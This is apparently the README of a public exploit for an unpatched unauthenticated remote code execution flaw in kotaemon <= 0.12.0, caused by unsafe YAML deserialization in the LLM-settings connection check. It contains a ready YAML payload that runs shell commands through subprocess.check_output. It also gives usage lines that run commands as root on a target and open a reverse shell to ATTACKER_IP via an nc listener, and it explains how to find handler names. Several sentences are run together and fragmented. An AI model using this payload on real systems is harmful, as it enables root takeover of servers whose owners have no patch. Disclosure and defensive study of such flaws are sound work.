
Unauthenticated remote code execution in kotaemon
(<= 0.12.0) via insecure deserialization in the LLM-settings connection check.
kotaemon's LLM-settings check_connection Gradio handler (libs/ktem/ktem/llms/ui.py) parses an
attacker-supplied YAML spec and deserializes it unsafely:
spec = yaml.load(selected_spec, Loader=YAMLNoDateSafeLoader) # attacker YAML
info["spec"].update(spec)
llm = deserialize(info["spec"], safe=False) # <-- safe=False
theflow.deserialize(..., safe=False) (theflow/utils/modules.py) resolves a spec's __type__ key
through import_dotted_string with no allowlist, then instantiates it with attacker-controlled
kwargs:
if isinstance(value, dict) and "__type__" in value:
cls = import_dotted_string(value["__type__"], safe=False) # imports ANY dotted path
params = {k: deserialize(v, safe=False) for k, v in value.items() if k != "__type__"}
return cls(**params) # instantiates with attacker kwargs
So a spec whose __type__ is subprocess.check_output runs an OS command during
deserialization (CWE-502).
Two things make it a clean unauthenticated RCE:
auth=. The "login" only toggles the
visibility of UI tabs; every registered event handler is publicly callable. KH_FEATURE_USER_MANAGEMENT
does not gate the HTTP/queue API.info["spec"].update(<attacker yaml>) fully overrides the LLM
spec, so the payload never contacts any real LLM provider.kotaemon's official Docker image runs as root, so the RCE lands as root. No upstream fix at time of writing.
The delivered YAML spec:
__type__: unittest.mock.Mock
return_value:
__type__: subprocess.check_output
args: [sh, -c, "<cmd>"]
text: true
deserialize recurses into return_value first → subprocess.check_output(args=["sh","-c","<cmd>"], text=True) executes the command. Wrapping it in unittest.mock.Mock absorbs any leftover base-spec
kwargs (model/api_key) so the outer call never breaks, and the command's stdout is echoed back in the
handler's Got response: ... message.
Stdlib only (Python 3). The exploit makes two Gradio calls: create_llm (seed a named LLM entry so
llms.info()[name] resolves) then check_connection (deliver the payload).
# run a command as root; output is returned in the response
python3 exploit.py http://TARGET:7860/ -c id
# -> ... Got response: uid=0(root) gid=0(root) groups=0(root)
# reverse shell (start a listener first: nc -lvnp 4444)
python3 exploit.py http://TARGET:7860/ --shell ATTACKER_IP:4444
If the create_llm / check_connection handler names differ on a target, enumerate them from
GET /config (dependencies[].api_name) and adjust.
kotaemon <= 0.12.0 (default port 7860). No upstream patch available at time of writing.
deserialize with safe=True and an allowed_modules allowlist so no attacker __type__
reaches import_dotted_string.For authorized security testing and education only. Use only against systems you own or have explicit permission to test.